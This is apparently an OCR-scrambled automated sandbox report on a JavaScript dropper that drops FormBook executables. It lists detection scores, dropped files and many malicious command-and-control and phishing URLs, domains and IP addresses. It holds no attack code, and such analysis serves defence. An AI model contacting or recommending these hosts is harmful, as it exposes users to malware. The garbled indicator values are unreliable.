Discovery System
SMB/Wind

Query ows Admin  Email
Registry Shares Collection

n Distributed  Input

Security Component Capture
Software Object
Discovery  Model

SSH Keylogging
Virtualizatio

n/Sandbox

Evasion

VNC GUI Input
Process Capture
Discovery

Windows ~ Web Portal
Remote Remote Capture
System Manageme

Discovery  nt

Exfiltration

Exfiltration
Over Other
Network
Medium

Exfiltration
Over
Bluetooth

Automated
Exfiltration

Scheduled
Transfer

Data
Transfer
Size Limits

Exfiltration
Over C2
Channel

Exfiltration
Over
Alternative
Protocol

Command
and
Control

Ingress
Tool
Transfer

Encrypted
Channel

Non-
Standard
Port

Data
Encoding

Non-
Application
Layer
Protocol

Application
Layer
Protocol

Commonly
Used Port

Network
Effects

Eavesdrop
on Insecure
Network
Communic
ation

Exploit SS7
to Redirect
Phone
Calls/SMS

Exploit SS7
to Track
Device
Location

SIM Card
Swap

Manipulate
Device
Communic
ation

Jamming or
Denial of
Service

Rogue Wi-
Fi Access
Points

Remote
Service
Effects

Remotely
Track
Device
Without
Authorizati
on

Remotely
Wipe Data
Without
Authorizati
on

Obtain
Device
Cloud
Backups

Impact

Modify
System
Partition

Device
Lockout

Delete
Device
Data

Carrier
Billing
Fraud

Manipulate
App Store
Rankings
or Ratings

Abuse
Accessibilit
y Features

Data
Encrypted
for Impact
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=
®

«Q
@®
=}
o

Process
Signature
Created File
DNS/IP Info

+EEEC]

Is Dropped

Is Windows Process

+*
*n

Number of created Registry Values

Number of created Files

Y

Visual Basic

zz
3

ms
I8
o

)

Delphi

i
i
=

Java
.Net C# or VB.NET

C, C++ or other language

Q@ 2|

Is malicious

Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.
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BXAIUJIAC IYTFFYT DUUDTUB... LUDSI

2

ﬂxg

Excel 2016

Windows cannot find 'C:\Program'’. Make sure you typed the name correctly, and then try

again.

HH 0 Type here to search 0

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source

CIQ-PO162667.js
CIQ-PO162667.js

Dropped Files

Source

C:\Users\user\AppData\Local\Temp\Cex8di\5hol_r7nkdhp.exe
C:\Users\user\AppData\Local\Temp\bin.exe

C:\Users\user\AppData\Local\Temp\Cex8di\5hol_r7nkdhp.exe
C:\Users\user\AppData\Local\Temp\bin.exe

C:\Users\user\AppData\Local\Temp\Cex8di\5hol_r7nkdhp.exe
C:\Users\user\AppData\Local\Temp\Cex8di\5hol_r7nkdhp.exe

C:\Users\user\AppData\Local\Temp\bin.exe

C:\Users\user\AppData\Local\Temp\bin.exe

Unpacked PE Files
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Detection
25%

22%

Detection

100%

100%

100%
100%
49%

100%

49%

100%

Scanner

Virustotal

ReversingLabs

Scanner

Avira

Avira

Joe Sandbox ML
Joe Sandbox ML
Metadefender

ReversingLabs

Metadefender

ReversingLabs

Label

Script-
JS.Trojan.Cryxos

Label

TR/Crypt.ZPACK.
Gen

TR/Crypt.ZPACK.
Gen

Win32.Trojan.Form
Book

Win32.Trojan.Form
Book

Link

Browse

Link

Browse

Browse
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https://www.virustotal.com/gui/file/b92b2c3a689cd2c5929f4123642004b7f23482c036dbf467813a18c91b3537df/detection/f-b92b2c3a689cd2c5929f4123642004b7f23482c036dbf467813a18c91b3537df-1653646736
https://www.metadefender.com/#!/results/file/bzIyMDUxOTRPcjhybHI3UUoxZmw1aTVYeHg/regular/analysis
https://www.metadefender.com/#!/results/file/bzIyMDUxOTRPcjhybHI3UUoxZmw1aTVYeHg/regular/analysis

Source

40.0.5hol_r7nkdhp.exe.c50000.1.unpack

2.2.bin.exe.b0000.0.unpack

40.0.5hol_r7nkdhp.exe.c50000.3.unpack

2.0.bin.exe.b0000.0.unpack

40.0.5hol_r7nkdhp.exe.c50000.0.unpack

40.0.5hol_r7nkdhp.exe.c50000.2.unpack

Domains

Source
rasheedabossmoves.com
dilshadkhan.duia.ro

sekolahkejepang.com

URLs

Source
http://dilshadkhan.duia.r0:6670/Vredir=C:
http://www.ratebill.com/np8s/
http://dilshadkhan.duia.ro:6670/VreZXBsYWNI
http://dilshadkhan.duia.r0:6670/VreMjo
http://dilshadkhan.duia.r0:6670/VreZXBsYWNIrr

hitp:ffwww.liveafunday.xyz/np8s/?

Detection

100%

100%

100%

100%

100%

100%

BI=IHUDzXfpVJ_&c2MH6DeP=z2yla7cx1SROgCPUWMR]|7QFmMCzRewXUzLnCINkjkn7 TUjkjwrWOkK9K

MIL9EtH20I1i9
http://dilshadkhan.duia.r0:6670/Vre1dG

http://www.070iwlp.xyz/np8s/?

€c2MH6DeP=Wi2RbeLHGdcMG/4zbWZrHjxVNTurLVF13zSFjScR2hfe23jELpoygCvTVMXCwbd5YdLw&h

FQL=JXUhrvXxUhF4

hitp:/fwww.070iwlp.xyz
http://dilshadkhan.duia.ro:6670/VrelER=Intel64
http://dilshadkhan.duia.ro:6670/VreKTsNCIZO
http://dilshadkhan.duia.ro:6670/Vre?9
http://dilshadkhan.duia.ro:6670/Vrenter2oft6

http://www.interlink-travel.com/np8s/?

¢c2MH6DeP=05u60IlgxnDtTF3riQ4xVZIWxoHxK/fTzbXBC76KOhST926FmxCw4JGrgecy53rLpUaVG&hF

QL=JXUhrvXxUhF4
http://dilshadkhan.duia.ro:6670/Vrerwl
http://dilshadkhan.duia.r0:6670/Vreo

http://www.heavymettlelawyers.com/np8s/?

c2MH6DeP=sGHpREHB62zr3UC4aQViiUpNRvOhYNnMtmnOrCI8QdyZ+urDz6JFWhhwh7EVf+dC28syJ&

hFQL=JXUhrvXxUhF4
http:ifdilshadkhan.duia.ro:6670/VreDENTIFIER=Intel64
www.gafcbooster.com/np8s/
http:ifdilshadkhan.duia.ro:6670/VrebWcgPSAi

http://www.kishanshree.com/np8s/?

c2MH6DeP=vIrg3lq6CNBS64MI3AOFKZFGCoQQX/EchdCyZyJL/t2S6ENIBXIkdyy29bgYyDpdikhs&hF

QL=JXUhrvXxUhF4
http:{fwww.rasheedabossmoves.com/np8s/
http://www.interlink-travel.com/np8s/
http://dilshadkhan.duia.ro:6670/Vre$_&

http://www.topings33.com/np8s/?

c2MH6DeP=+1vSQSU4VFPBNKLS8EMH3DU8BMRg7YeugbcMOylP3MOivye7s4zRc3erRZEPodkGeNW4y

t&NFQL=JXUhrvXxUhF4

hitp:ffwww.liveafunday.xyz/np8s/?

c2MH6DeP=z2yla7cx1SROgCPUWMR}7QFmMCzRewXUzLnCINkjkn7TUjkjwrWOKK9KMIL9EtH20I11i9&h

FQL=JXUhrvXxUhF4

http://www.2264a.com/np8s/
http://dilshadkhan.duia.ro:6670/Vre783C6-CB41-11D1-8B02-00600806D9B6
http://dilshadkhan.duia.ro:6670/VreZ
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Scanner

Avira

Avira

Avira

Avira

Avira

Avira

Detection

8%
3%

1%

Detection

100%
100%
100%
100%
100%

0%

100%

100%

0%

100%
100%
100%
100%

100%

100%
100%

100%

100%
100%
100%

0%

100%
100%
100%

100%

0%

100%
100%

100%

Label Link

TR/Crypt.ZPACK

.Gen

TR/Crypt.ZPACK

.Gen

TR/Crypt.ZPACK

.Gen

TR/Crypt.ZPACK

.Gen

TR/Crypt.ZPACK

.Gen

TR/Crypt.ZPACK

.Gen
Scanner Label
Virustotal
Virustotal
Virustotal
Scanner Label
Avira URL Cloud malware
Avira URL Cloud malware
Avira URL Cloud malware
Avira URL Cloud malware
Avira URL Cloud malware
Avira URL Cloud safe
Avira URL Cloud malware
Avira URL Cloud phishing
Avira URL Cloud safe
Avira URL Cloud malware
Avira URL Cloud malware
Avira URL Cloud malware
Avira URL Cloud malware
Avira URL Cloud malware
Avira URL Cloud malware
Avira URL Cloud malware
Avira URL Cloud malware
Avira URL Cloud malware
Avira URL Cloud malware
Avira URL Cloud malware
Avira URL Cloud safe
Avira URL Cloud malware
Avira URL Cloud malware
Avira URL Cloud malware
Avira URL Cloud malware
Avira URL Cloud safe
Avira URL Cloud malware
Avira URL Cloud malware
Avira URL Cloud malware

Download

Download File

Download File

Download File

Download File

Download File

Download File

Link
Browse
Browse

Browse

Link
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https://www.virustotal.com/gui/url/85fd0798a613f7b1f4b49b86197169d60a258c99226a28185f2f5e80eda0251c/detection/u-85fd0798a613f7b1f4b49b86197169d60a258c99226a28185f2f5e80eda0251c-1653534284
https://www.virustotal.com/gui/url/45245bc12af2ac77b771536b4ce196f33a122280c6adf1e18ff8dd4673a390dd/detection/u-45245bc12af2ac77b771536b4ce196f33a122280c6adf1e18ff8dd4673a390dd-1653611247
https://www.virustotal.com/gui/url/3fc7a9e303bf87b53d51a3e2f6969fdd89f8d9b2582f9909b505580ead98eb95/detection/u-3fc7a9e303bf87b53d51a3e2f6969fdd89f8d9b2582f9909b505580ead98eb95-1653104586

Source Detection Scanner Label Link

http://www.brandpay.xyz/np8s/? 100% Avira URL Cloud phishing
c2MH6DeP=hgAcLcCQcJ9fw2P/TukOsK1oy/luL6ulzsG1wPPsT2rg6CikgixxXMntvJFJ21PsUjiZ&hFQL=

JXUhrvXxUhF4

http://dilshadkhan.duia.ro:6670/Vreadkhan.d 100% Avira URL Cloud malware
http://dilshadkhan.duia.ro:6670/Vre2a 100% Avira URL Cloud malware
http://www.rasheedabossmoves.com/np8s/? 100% Avira URL Cloud malware

c2MH6DeP=pvCvVC1srgMzTu3vjZ/Pi4S7puQ7WYIroZs2vwEH9SE4BkgUF4ASEMYF7QpXUX37idvZ6&h
FQL=JXUhrvXxUhF4

http://dilshadkhan.duia.ro:6670/Vre63209-4053062332-100 100% Avira URL Cloud malware
http://dilshadkhan.duia.ro:6670/VreZigplHsNrr 100% Avira URL Cloud malware
http://dilshadkhan.duia.ro/sers 100% Avira URL Cloud malware
http://dilshadkhan.duia.ro:6670/VreE-8C82-00AA004BA90B 100% Avira URL Cloud malware
http://dilshadkhan.duia.ro:6670/VreN 100% Avira URL Cloud malware
hitp:/fwww.siberup.xyz/np8s/? 0% Avira URL Cloud safe

c2MH6DeP=cDXfWuCokJFrdCwhVntnDB+RdogU7uBP5U/Sv42Lexzi+FyRpCsvSOHB1CIRHN4SxuGj&
hFQL=JXUhrvXxUhF4

http://dilshadkhan.duia.ro:6670/Vre._8 100% Avira URL Cloud malware
http://dilshadkhan.duia.ro:6670/VreYXlgaXQg 100% Avira URL Cloud malware
http://dilshadkhan.duia.ro:6670/Vreoftows 100% Avira URL Cloud malware
http://www.2264a.com/np8s/? 100% Avira URL Cloud malware

c2MH6DeP=SaZV+ETfGqRGg8UpLQIgT5IpaRa7tlWyjomLK062GilC1K|P8KIErJAXediVB/PIDIGG&hF
QL=JXUhrvXxUhF4

http://dilshadkhan.duia.ro:6670/VreM 100% AviraURL Cloud ~ malware

http://www.brawlhallacodestore.com/np8s/? 100% Avira URL Cloud malware
C2MH6DeP=SjFSWO0qH8X1Gu/+4r88YNPSLQa2KKx1h4LPt291CcOnRXdmgbio7b0swgPTE4uOj94VU&
hFQL=JXUhrvXxUhF4

http://www.topings33.com/np8s/ 100% Avira URL Cloud malware
hitp:/fschemas.microsoft.co 0% URL Reputation safe

http://dilshadkhan.duia.ro:6670/Vrel 100% Avira URL Cloud ~ malware
http://dilshadkhan.duia.ro:6670/VrePSAIQ2wi 100% Avira URL Cloud malware
hitp:ffwww.liveafunday.xyz/np8s/ 0% Avira URL Cloud safe

http://dilshadkhan.duia.ro:6670/VreA2 100% Avira URL Cloud ~ malware
http://dilshadkhan.duia.r0:6670/VrelderViewDual2WWW 100% Avira URL Cloud ~ malware
hitp:/fwww.siberup.xyz/np8s/ 0% Avira URL Cloud safe

http://dilshadkhan.duia.ro:6670/VreMrf_ 100% Avira URL Cloud ~ malware
http://dilshadkhan.duia.ro:6670/Vre7 100% Avira URL Cloud ~ malware
http://dilshadkhan.duia.ro:6670/VreMTf 100% Avira URL Cloud ~ malware
http://dilshadkhan.duia.ro:6670/VreV2 100% Avira URL Cloud ~ malware
http://dilshadkhan.duia.ro:6670/VreZ6 100% Avira URL Cloud ~ malware
http://www.ratebill.com/np8s/? 100% Avira URL Cloud malware

c2MH6DeP=0AQ8ZAk71VYHsoGBQeS0cLLvyBMKMIAsSKOta2CkcQgnl+jMatCDHWZEKCDKr1q9/u4Y
&hFQL=JXUhrvXxUhF4

http://dilshadkhan.duia.ro:6670/Vre.duia.ro:6670/Vre 100% Avira URL Cloud malware
http://dilshadkhan.duia.r0:6670/) 100% Avira URL Cloud malware
http:ifdilshadkhan.duia.ro:6670/Vre0 100% Avira URL Cloud ~ malware
http:ifdilshadkhan.duia.ro:6670/Vrenter2 100% Avira URL Cloud ~ malware
http://dilshadkhan.duia.ro:6670/Vre(( 100% Avira URL Cloud malware
http://dilshadkhan.duia.r0:6670/Vre_ndefender://%ProgramFiles% 100% Avira URL Cloud malware
http:ifdilshadkhan.duia.ro:6670/Vre- 100% Avira URL Cloud ~ malware
http://www.kishanshree.com/np8s/ 0% Avira URL Cloud safe
http://www.070iwlp.xyz/np8s/ 100% Avira URL Cloud phishing
http://https://www.interlink-travel.com/np8s/? 100% Avira URL Cloud malware
BI=IHUDzXfpVJ_&c2MH6DeP=05u60IqxnDtTF3riQ4xVZIWxoHXK/fTzbXBC7

http://dilshadkhan.duia.ro:6670/Vre$ 100% Avira URL Cloud  malware
hitp://dilshadkhan.duia.ro:6670/Vreadkhan.duu 100% Avira URL Cloud ~ malware
http://dilshadkhan.duia.ro:6670/Vrerd 100% Avira URL Cloud malware
http://dilshadkhan.duia.ro:6670/ 100% Avira URL Cloud malware
http://dilshadkhan.duia.ro:6670/VreoKo 100% Avira URL Cloud malware
http://dilshadkhan.duia.ro:6670/VreQa 100% Avira URL Cloud malware
http://dilshadkhan.duia.ro:6670/VreEa 100% Avira URL Cloud malware
http://www.heavymettlelawyers.com/np8s/ 100% Avira URL Cloud malware
http://www.interlink-travel.com/np8s/? 100% Avira URL Cloud malware
Bl=IHUDzXfpVJ_&c2MH6DeP=05u60lgxnDtTF3riQ4xVZIWxoHxK/fTzbXBC76KOhST926 FmxCw4JGrg

ecy53rLpUaVG
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Source

http://dilshadkhan.duia.ro/

http://dilshadkhan.duia.ro:6670/VreoH

http://dilshadkhan.duia.ro:6670/Vrex.

http://dilshadkhan.duia.ro:6670/Vre02-00600806 D9B6

http://dilshadkhan.duia.ro:6670/Vre%(
http://dilshadkhan.duia.ro:6670/Vrec&

http://dilshadkhan.duia.ro:6670/Vre
http://dilshadkhan.duia.ro:6670/Vres2

http://www.070iwlp.xyz/np8s/?

Detection
100%
100%
100%
100%
100%
100%
100%
100%

100%

Bl=IHUDzXfpVJ_&c2MH6DeP=Wi2RbeLHGdcMG/4zbWZrHjxVNTurLVF13zSFjScR2hfe23jELpoygCvT

VMXCwbd5YdLw

http://dilshadkhan.duia.ro:6670/VreZigplHsN

Domains and IPs

Contacted Domains

Name

www.ratebill.com
rasheedabossmoves.com
dilshadkhan.duia.ro
sekolahkejepang.com
www.topings33.com
natroredirect.natrocdn.com
shop.freewebstore.org
www.interlink-travel.com
www.2264a.com
heavymettlelawyers.com
www.salondutaxi.com
liveafunday.xyz
www.screeshot.com
kishanshree.com
WWW.070iwIp.Xyz
www.brandpay.xyz
www.shcylzc.com
www.kishanshree.com
www.rasheedabossmoves.com
www.jdhwh2nbiw234.com
www.sekolahkejepang.com
www.siberup.xyz
www.brawlhallacodestore.com
www.heavymettlelawyers.com
www.gafchooster.com
www.liveafunday.xyz

www.thepowerofanopenquestion.com

Contacted URLs

Name

http://www.ratebill.com/np8s/

http://www.liveafunday.xyz/np8s/?

IP
137.220.133.198
160.153.136.3
91.193.75.133
103.247.11.212
162.0.230.89
85.159.66.93
52.17.85.125
154.220.100.142
104.21.4.45
34.102.136.180
188.114.96.3
172.96.186.204
185.53.179.170
132.148.165.111
134.122.201.217
3.64.163.50
23.82.37.10
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown

unknown

Active
true

true

true

true

true

true

true

true

true

true

true

true

true

true

true

true

true
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown

unknown

BI=IHUDZzXfpVJ_&c2MH6DeP=z2yla7cx1SROgCPUWMR[7QFmCzRewXUzLnCINKikn7 TUjkjwrWok

K9KMIL9EtH20I1i9

http://www.070iwlp.xyz/np8s/?

c2MH6DeP=Wi2RbeL HGdcMG/4zbWZrHjxVNTurLVF13zSFjScR2hfe23{ELpoygCvTVMXCwhd5YdL

W&hFQL=JXUhrvXxUhF4

http://www.interlink-travel.com/np8s/?

c2MH6DeP=05u60lgxnDtTF3riQ4xVZIWxoHxK/fTzbXBC76KOhST926FmxCw4JGrgecy53rLpUaVG

&hFQL=JXUhrvXxUhF4
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100%

Malicious
true
true
true
true
true
true
false
true
true
false
true
true
false
true
true
true
false
true
true
true
true
true
true
true
true
true

true

Scanner

Avira URL Cloud
Avira URL Cloud
Avira URL Cloud
Avira URL Cloud
Avira URL Cloud
Avira URL Cloud
Avira URL Cloud
Avira URL Cloud

Avira URL Cloud

Avira URL Cloud

Antivirus Detection

e 8%, Virustotal, Browse
e 3%, Virustotal, Browse

e 1%, Virustotal, Browse

Malicious Antivirus Detection

true

true

true

true

e Avira URL Cloud: malware

e Avira URL Cloud: safe

e Avira URL Cloud: phishing

e Avira URL Cloud: malware

Label

malware
malware
malware
malware
malware
malware
malware
malware

phishing

malware

Link

Reputation
unknown
unknown
unknown
unknown
unknown
unknown
high
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown

unknown

Reputation
unknown

unknown

unknown

unknown
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https://www.virustotal.com/gui/url/85fd0798a613f7b1f4b49b86197169d60a258c99226a28185f2f5e80eda0251c/detection/u-85fd0798a613f7b1f4b49b86197169d60a258c99226a28185f2f5e80eda0251c-1653534284
https://www.virustotal.com/gui/url/45245bc12af2ac77b771536b4ce196f33a122280c6adf1e18ff8dd4673a390dd/detection/u-45245bc12af2ac77b771536b4ce196f33a122280c6adf1e18ff8dd4673a390dd-1653611247
https://www.virustotal.com/gui/url/3fc7a9e303bf87b53d51a3e2f6969fdd89f8d9b2582f9909b505580ead98eb95/detection/u-3fc7a9e303bf87b53d51a3e2f6969fdd89f8d9b2582f9909b505580ead98eb95-1653104586

Name

hitp:/fwww.heavymettlelawyers.com/np8s/?

Malicious Antivirus Detection

false .

c2MH6DeP=sGHpREHB6zr3UC4aQViiUpNRvOhYNnMtmnOrCI8QdyZ+urDz6JFWhhwh7EVf+dC28s

yI&hFQL=JXUhrvXxUhF4
www.gafcbooster.com/np8s/

http://www.kishanshree.com/np8s/?

true

true

c2MH6DeP=vIrg3Ig6CNBS64M3BAOFKZFqCoQQX/EchdCgZyJL/t2S6ENIBXIkdyy29bgYyDpdikhs&

hFQL=JXUhrvXxUhF4
http://www.rasheedabossmoves.com/np8s/
http://www.interlink-travel.com/np8s/

http://www.topings33.com/np8s/?

true

true

true

c2MH6DeP=+1vSQSU4VFPBNKLS8EMH3DU8MRg7YeughbcMOylIP3MOivye7s4zRc3erRZEPodkGceN

WA4yt&hFQL=JXUhrvXxUhF4

http://www.liveafunday.xyz/np8s/?

true

c2MH6DeP=z2yla7cx1SROgCPUWMRj7QFmMCzRewXUzLnCINkjkn7TUjkjwrWOKK9OKMIL9EtH20I1i9

&hFQL=JXUhrvXxUhF4
http://www.2264a.com/np8s/

http://www.brandpay.xyz/np8s/?

true

true

c2MH6DeP=hgAcLcCQcJ9fw2P/Tuk0sK1oy/luL6ulzsG1lwPPsT2rq6CikgixxXMntvJFJ21PsUjiZ&hF

QL=JXUhrvXxUhF4

http://www.rasheedabossmoves.com/np8s/?

true

c2MH6DeP=pvCvVC1srqMzTu3vjZ/Pi4S7puQ7WYIroZs2vwEHISE4BkgUFASEMYF7QpXUX37idvZ

6&hFQL=JXUhrvXxUhF4

http://www.siberup.xyz/np8s/?

true

c2MH6DeP=cDXfWuCokJFrdCwhVntnDB+RdogU7uBP5U/Sv42Lexzi+FyRpCsvSOHB1CIRHN4Sxu

Gj&hFQL=JXUhrvXxUhF4

http://www.2264a.com/np8s/?

true

c2MH6DeP=SaZV+ETfGqRGg8UpLQ9gT5IpaRa7t1Wyj9mLK06zGilC1KjP8kiErJAXediVB/PIDIGG

&hFQL=JXUhrvXxUhF4

http://www.brawlhallacodestore.com/np8s/?

true

€c2MH6DeP=SjFSW0qH8X1Gu/+4r88YNPSLQa2KKx1h4LPt291CcOnRXdmgbio7b0swgPTE4uQj94V

U&hFQL=JXUhrvXxUhF4
http://www.topings33.com/np8s/
http://www.liveafunday.xyz/np8s/
http://www.siberup.xyz/np8s/

http://www.ratebill.com/np8s/?

true

true

true

true

c2MH6DeP=0AQ8ZAk71VYHsoGBQeS0cLLvyBMKMIAsSKOta2CkcQgnl+jMatCDHWZEKCDKr1q9/

udY&hFQL=JXUhrvXxUhF4
http://www.kishanshree.com/np8s/
http://www.070iwlp.xyz/np8s/
http:/fwww.heavymettlelawyers.com/np8s/

http://www.interlink-travel.com/np8s/?

true

true

false .

true

BI=IHUDzXfpVJ_&c2MH6DeP=05u60lqxnDtTF3riQ4xVZIWxoHXK/fTzbXBC76KOhST926FmxCw4J

Grgecy53rLpUaVG

http://www.070iwlp.xyz/np8s/?

true

BI=IHUDzXfpVJ_&c2MH6DeP=Wi2RbeLHGdcMG/4zbWZrHjxVNTurLVF13zSFjScR2hfe23jELpoygC

VTVMXCwbd5YdLw

URLs from Memory and Binaries

Name

hitp://dilshadkhan.duia.ro:6670/Vredir=C:

http://dilshadkhan.duia.ro:6670/VreZXBsYWNI

http://dilshadkhan.duia.ro:6670/VreMjo

hitp://dilshadkhan.duia.ro:6670/VreZXBsYWNIrr

hitp://dilshadkhan.duia.ro:6670/Vre1dG
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Source Malicious

wscript.exe, 00000001.00000003.384485036 true
.000001B74541E000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
1.00000003.384967035.000001B745438000.00
000004.00000020.00020000.00000000.sdmp

wscript.exe, 00000006.00000002.788082971 true
.000001A547F80000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
€.00000002.799403511.0000010D37DC0000.00
000004.00000020.00020000.00000000.sdmp,

wscript.exe, 0000000F.00000002.798112054
.0000023E30EA0000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 0000000F.00000002.804264808 true
.0000023E30F15000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 00000001.00000002.797140717 true
.000001B744CB0000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 00000006.00000002.787307667 true
.000001A54611E000.00000004.00000020.0002
0000.00000000.sdmp

Avira URL Cloud:

Avira URL Cloud:

Avira URL Cloud:

Avira URL Cloud:
Avira URL Cloud:

Avira URL Cloud:

Avira URL Cloud:

Avira URL Cloud:

Avira URL Cloud

Avira URL Cloud:

Avira URL Cloud:

Avira URL Cloud:

Avira URL Cloud:

Avira URL Cloud:
Avira URL Cloud:
Avira URL Cloud:

Avira URL Cloud:

Avira URL Cloud:

Avira URL Cloud

Avira URL Cloud:

Avira URL Cloud:

Avira URL Cloud:

e Avira URL Cloud: malware

e Avira URL Cloud: malware

e Avira URL Cloud: malware

e Avira URL Cloud: malware

e Avira URL Cloud: malware

malware

malware

safe

malware
malware

malware

safe

malware

: phishing

malware

safe

malware

malware

malware
safe
safe

malware

safe

: phishing

malware

malware

phishing

Antivirus Detection

Reputation

unknown

low

unknown

unknown
unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown
unknown
unknown

unknown

unknown
unknown
unknown

unknown

unknown

Reputation

unknown

unknown

unknown

unknown

unknown
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Name

hitp:/fwww.o7oiwlp.xyz

hitp://dilshadkhan.duia.ro:6670/VrelER=Intel64

hitp://dilshadkhan.duia.ro:6670/VreKTsNCIZO

hitp://dilshadkhan.duia.ro:6670/Vre?9

hitp://dilshadkhan.duia.ro:6670/Vrenter2oft6

hitp://dilshadkhan.duia.ro:6670/Vrerwl

hitp://dilshadkhan.duia.ro:6670/Vreo

http:/f
dilshadkhan.duia.ro:6670/VreDENTIFIER=Intel64

hitp://dilshadkhan.duia.ro:6670/VrebWcgPSAi

hitp://dilshadkhan.duia.ro:6670/Vre$_&

http://dilshadkhan.duia.ro:6670/Vre783C6-CB41-11D1-

8B02-00600806D9B6

http:// dilshadkhan.duia.ro:6670/VreZ

http://dilshadkhan.duia.ro:6670/Vreadkhan.d

hitp://dilshadkhan.duia.ro:6670/Vre2a
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Source

cmmon32.exe, 00000012.00000002.837908530
.0000000005BFB000.00000004.10000000.0004
0000.00000000.sdmp

wscript.exe, 00000006.00000003.436368850
.000001A547FEF000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 00000001.00000002.797140717
.000001B744CB0000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
6.00000002.788082971.000001A547F80000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 0000000C.00000002.799403511
.0000010D37DC0000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
F.00000002.798112054.0000023E30EA0000.00
000004.00000020.00020000.00000000.sdmp

wscript.exe, 0000000C.00000003.456284236
.0000010D38441000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 0000000C.00000002.799462457
.0000010D383C0000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 0000000F.00000002.804264808
.0000023E30F15000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 00000001.00000002.815158211
.000001B7453E5000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
1.00000002.801731870.000001B7453A0000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 00000006.00000002.788120944
.000001A547F90000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
C.00000002.799462457.0000010D383C0000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 0000000F.00000003.614567898
.0000023E2EF58000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
F.00000003.616305170.0000023E2EF5B000.00
000004.00000020.00020000.00000000.sdmp

wscript.exe, 00000001.00000003.384485036
.000001B74541E000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
1.00000003.384967035.000001B745438000.00
000004.00000020.00020000.00000000.sdmp

wscript.exe, 00000006.00000002.788082971
.000001A547F80000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
€.00000002.799403511.0000010D37DC0000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 0000000F.00000002.798112054
.0000023E30EA0000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 00000001.00000002.823061632
.000001B745406000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 00000006.00000003.756744181
.000001A548027000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
6.00000003.757322682.000001A548027000.00
000004.00000020.00020000.00000000.sdmp

wscript.exe, 0000000C.00000002.799462457
.0000010D383C0000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 00000001.00000002.797140717
.000001B744CB0000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
6.00000002.788082971.000001A547F80000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 0000000C.00000002.799403511
.0000010D37DC0000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
F.00000002.798112054.0000023E30EA0000.00
000004.00000020.00020000.00000000.sdmp

wscript.exe, 00000006.00000003.436368850
.000001A547FEF000.00000004.00000020.0002
0000.00000000.sdmp

Malicious

false

true

true

true

true

true

true

true

true

true

true

true

true

true

Antivirus Detection

e Avira URL Cloud: safe

e Avira URL Cloud: malware

e Avira URL Cloud: malware

e Avira URL Cloud: malware

e Avira URL Cloud: malware

e Avira URL Cloud: malware

e Avira URL Cloud: malware

e Avira URL Cloud: malware

e Avira URL Cloud: malware

e Avira URL Cloud: malware

e Avira URL Cloud: malware

e Avira URL Cloud: malware

e Avira URL Cloud: malware

e Avira URL Cloud: malware

Reputation

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown
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Name

hitp://dilshadkhan.duia.ro:6670/Vre63209-
4053062332-100

http://dilshadkhan.duia.ro:6670/VreZigplHsNrr

hitp://dilshadkhan.duia.ro/sers

hitp://dilshadkhan.duia.ro:6670/VreE-8C82-
00AA004BA90B

hitp://dilshadkhan.duia.ro:6670/VreN

hitp://dilshadkhan.duia.ro:6670/Vre._8

http://dilshadkhan.duia.ro:6670/VreYXlgaXQg

hitp://dilshadkhan.duia.ro:6670/Vreoftows
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Source

wscript.exe, 00000006.00000003.757128359
.000001A547FB4000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
6.00000003.572232415.000001A548047000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 00000006.00000003.574615041
.000001A54800F000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
6.00000003.574519981.000001A54800C000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 00000006.00000003.574051437
.000001A548051000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
6.00000003.573367613.000001A54800B000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 00000006.00000003.435803969
.000001A548020000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
6.00000002.788220340.000001A547FB4000.00
000004.00000020.00020000.00000000.sdmp,
wscript.exe, 0000000C.00000002.799462457
.0000010D383C0000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
F.00000002.799686175.0000023E30EB0000.00
000004.00000020.00020000.00000000.sdmp

wscript.exe, 00000006.00000002.788082971
.000001A547F80000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
€.00000002.799403511.0000010D37DC0000.00
